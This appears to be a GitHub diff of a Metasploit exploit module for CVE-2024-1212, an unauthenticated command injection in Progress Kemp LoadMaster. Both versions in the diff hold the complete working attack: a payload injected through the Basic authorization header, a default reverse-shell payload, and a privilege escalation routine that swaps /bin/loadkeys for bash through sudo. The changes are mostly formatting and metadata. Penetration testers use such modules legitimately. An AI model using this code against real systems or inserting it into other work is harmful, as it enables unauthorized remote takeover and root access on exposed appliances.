4
4
##
5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
- Rank = ExcellentRanking
8
-
9
- include Msf ::Exploit ::Remote ::HttpClient
10
- prepend Msf ::Exploit ::Remote ::AutoCheck
11
-
12
- def initialize ( info = { } )
13
- super (
14
- update_info (
15
- info ,
16
- 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection' ,
17
- 'Description' => %q{
18
- This module exploits an unauthenticated command injection vulnerability in
19
- Progress Kemp LoadMaster, versions before 7.2.59.2.
20
- } ,
21
- 'Author' => [
22
- 'Dave Yesland with Rhino Security Labs' ,
23
- ] ,
24
- 'License' => MSF_LICENSE ,
25
- 'References' => [
26
- [ 'CVE' , '2024-1212' ] ,
27
- [ 'URL' , 'https://kemptechnologies.com/kemp-load-balancers' ] ,
28
- [ 'URL' , 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/' ]
29
- ] ,
30
- 'DisclosureDate' => '2024' ,
31
- 'Notes' => {
32
- 'Stability' => [ CRASH_SAFE ] ,
33
- 'SideEffects' => [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ] ,
34
- 'Reliability' => [ REPEATABLE_SESSION ]
35
- } ,
36
- 'Platform' => [ 'unix' , 'linux' ] ,
37
- 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
38
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
39
- 'Privileged' => false ,
40
- 'DefaultOptions' =>
41
- {
42
- 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp' ,
43
- 'SSL' => true ,
44
- 'RPORT' => 443
45
- } ,
46
- 'Payload' =>
47
- {
48
- 'BadChars' => "\x3a \x27 "
49
- }
50
- )
7
+ Rank = ExcellentRanking
8
+
9
+ include Msf ::Exploit ::Remote ::HttpClient
10
+ prepend Msf ::Exploit ::Remote ::AutoCheck
11
+
12
+ def initialize ( info = { } )
13
+ super (
14
+ update_info (
15
+ info ,
16
+ 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection' ,
17
+ 'Description' => %q{
18
+ This module exploits an unauthenticated command injection vulnerability in
19
+ Progress Kemp LoadMaster in the authroization header.
20
+ } ,
21
+ 'Author' => [
22
+ 'Dave Yesland with Rhino Security Labs' ,
23
+ ] ,
24
+ 'License' => MSF_LICENSE ,
25
+ 'References' => [
26
+ [ 'CVE' , '2024-1212' ] ,
27
+ [ 'URL' , 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/' ] ,
28
+ [ 'URL' , 'https://kemptechnologies.com/kemp-load-balancers' ]
29
+ ] ,
30
+ 'DisclosureDate' => '2024-03-19' ,
31
+ 'Notes' => {
32
+ 'Stability' => [ CRASH_SAFE ] ,
33
+ 'SideEffects' => [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ] ,
34
+ 'Reliability' => [ REPEATABLE_SESSION ]
35
+ } ,
36
+ 'Platform' => [ 'unix' , 'linux' ] ,
37
+ 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
38
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
39
+ 'Privileged' => false ,
40
+ 'DefaultOptions' => {
41
+ 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp' ,
42
+ 'SSL' => true ,
43
+ 'RPORT' => 443
44
+ } ,
45
+ 'Payload' => {
46
+ 'BadChars' => "\x3a \x27 "
47
+ }
51
48
)
52
-
53
- register_options ( [
54
- OptString . new ( 'TARGETURI' , [ true , 'The URI path to LoadMaster' , '/' ] ) ,
55
- OptBool . new ( 'PRIVESC' , [ true , 'Automatically try privesc to add sudo entry' , true ] )
56
- ] )
49
+ )
50
+
51
+ register_options ( [
52
+ OptString . new ( 'TARGETURI' , [ true , 'The URI path to LoadMaster' , '/' ] ) ,
53
+ OptBool . new ( 'PRIVESC' , [ true , 'Automatically try privesc to add sudo entry' , true ] )
54
+ ] )
55
+
56
+ @first_session_timestamp = nil
57
+ end
58
+
59
+ def exploit
60
+ uri = normalize_uri ( target_uri . path , 'access' , 'set' )
61
+
62
+ print_status ( 'Sending payload...' )
63
+
64
+ send_request_cgi ( {
65
+ 'method' => 'GET' ,
66
+ 'uri' => uri ,
67
+ 'vars_get' =>
68
+ {
69
+ 'param' => 'enableapi' ,
70
+ 'value' => '1'
71
+ } ,
72
+ 'authorization' => basic_auth ( "';#{ payload . encoded } ;echo '" , 'anything' ) ,
73
+ 'verify' => false
74
+ } )
75
+ end
57
76
58
- @first_session_timestamp = nil
77
+ def on_new_session ( session )
78
+ # Kill the session if it was initiated too close to the first session
79
+ # This command injection tends to execute twice, so we want to kill
80
+ # the second session. Probably a better way to do this but I don't know it.
81
+ super
82
+ current_time = Time . now . to_i
83
+ if @first_session_timestamp . nil?
84
+ @first_session_timestamp = current_time
85
+ elsif current_time - @first_session_timestamp < 5
86
+ print_error ( 'Detected a session initiated too close to the first session. Terminating it.' )
87
+ session . kill
59
88
end
60
-
61
- def exploit
62
- uri = normalize_uri ( target_uri . path , 'access' , 'set' )
63
-
64
- print_status ( "Sending payload..." )
65
-
66
- res = send_request_cgi ( {
67
- 'method' => 'GET' ,
68
- 'uri' => uri ,
69
- 'vars_get' =>
70
- {
71
- 'param' => 'enableapi' ,
72
- 'value' => "1"
73
- } ,
74
- 'authorization' => basic_auth ( "';#{ payload . encoded } ;echo '" , 'anything' ) ,
75
- 'verify' => false
76
- } )
89
+
90
+ # Run privesc commands if PRIVESC is set to true
91
+ if datastore [ 'PRIVESC' ]
92
+ execute_privesc_command ( session )
93
+ else
94
+ print_status ( 'Privilege escalation skipped.' )
95
+ end
96
+ end
97
+
98
+ def execute_privesc_command ( session )
99
+ print_status ( 'Executing privilege escalation command...' )
100
+ session . shell_command ( 'sudo /bin/cp /bin/loadkeys /tmp/loadkeys' )
101
+ session . shell_command ( 'sudo /bin/cp /bin/bash /bin/loadkeys' )
102
+ session . shell_command ( 'sudo /bin/loadkeys -c /bin/bash' )
103
+ session . shell_command ( 'cp /tmp/loadkeys /bin/loadkeys' )
104
+ end
105
+
106
+ def check
107
+ print_status ( "Checking if #{ peer } is vulnerable..." )
108
+
109
+ uri = normalize_uri ( target_uri . path , 'access' , 'set' )
110
+
111
+ res = send_request_cgi ( {
112
+ 'method' => 'GET' ,
113
+ 'uri' => uri ,
114
+ 'vars_get' => {
115
+ 'param' => 'enableapi' ,
116
+ 'value' => '1'
117
+ } ,
118
+ 'authorization' => basic_auth ( "'" , 'anything' ) ,
119
+ 'verify' => false
120
+ } )
121
+
122
+ # No response from server
123
+ unless res
124
+ return CheckCode ::Unknown
77
125
end
78
126
79
- def on_new_session ( session )
80
- # Kill the session if it was initiated too close to the first session
81
- # This command injection tends to execute twice, so we want to kill
82
- # the second session. Probably a better way to do this but I don't know it.
83
- super
84
- current_time = Time . now . to_i
85
- if @first_session_timestamp . nil?
86
- @first_session_timestamp = current_time
87
- elsif current_time - @first_session_timestamp < 5
88
- print_error ( "Detected a session initiated too close to the first session. Terminating it." )
89
- session . kill
90
- end
91
-
92
- # Run privesc commands if PRIVESC is set to true
93
- if datastore [ 'PRIVESC' ]
94
- execute_privesc_command ( session )
95
- else
96
- print_status ( 'Privilege escalation skipped.' )
97
- end
127
+ # Check for specific error pattern in headers or body to confirm vulnerability
128
+ if res . headers . to_s . include? ( 'unexpected EOF while looking for matching' ) || res . body . include? ( 'unexpected EOF while looking for matching' )
129
+ return CheckCode ::Vulnerable
130
+ else
131
+ return CheckCode ::Safe
98
132
end
133
+ end
99
134
100
- def execute_privesc_command ( session )
101
- print_status ( "Executing privilege escalation command..." )
102
- session . shell_command ( 'sudo /bin/cp /bin/loadkeys /tmp/loadkeys' )
103
- session . shell_command ( 'sudo /bin/cp /bin/bash /bin/loadkeys' )
104
- session . shell_command ( 'sudo /bin/loadkeys -c /bin/bash' )
105
- session . shell_command ( 'cp /tmp/loadkeys /bin/loadkeys' )
106
- end
107
-
108
- def check
109
- print_status ( "Checking if #{ peer } is vulnerable..." )
110
-
111
- uri = normalize_uri ( target_uri . path , 'access' , 'set' )
112
-
113
- res = send_request_cgi ( {
114
- 'method' => 'GET' ,
115
- 'uri' => uri ,
116
- 'vars_get' => {
117
- 'param' => 'enableapi' ,
118
- 'value' => "1"
119
- } ,
120
- 'authorization' => basic_auth ( "'" , 'anything' ) ,
121
- 'verify' => false
122
- } )
123
-
124
- # No response from server
125
- unless res
126
- return CheckCode ::Unknown
127
- end
128
-
129
- # Check for specific error pattern in headers or body to confirm vulnerability
130
- if res . headers . to_s . include? ( "unexpected EOF while looking for matching" ) || res . body . include? ( "unexpected EOF while looking for matching" )
131
- return CheckCode ::Vulnerable
132
- else
133
- return CheckCode ::Safe
134
- end
135
- end
136
-
137
- end
135
+ end
0 commit comments